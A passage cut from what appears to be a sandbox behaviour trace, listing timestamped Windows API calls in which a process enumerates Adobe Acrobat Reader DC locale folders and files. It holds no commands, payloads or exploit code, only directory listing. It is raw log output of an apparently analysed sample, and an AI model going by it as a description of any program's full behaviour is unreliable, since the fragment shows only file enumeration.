hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0153.319] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0153.319] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0153.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0153.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0153.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev", lpFilePart=0x0) returned 0x5f [0153.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.319] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.320] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0153.320] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.320] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0153.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0153.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec700) returned 1 [0153.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls", nBufferLength=0x105, lpBuffer=0x1ffec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls", lpFilePart=0x0) returned 0x63 [0153.320] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x1ffec420 | out: lpFindFileData=0x1ffec420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.322] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.322] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0153.322] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0153.322] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0153.323] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0153.324] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0153.325] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0153.325] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0153.325] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0153.325] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0153.325] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0153.325] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0153.326] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0153.326] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0153.326] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0153.326] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0153.326] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0153.326] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0153.327] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0153.327] FindClose (in: hFindFile=0x134ca30 | out: 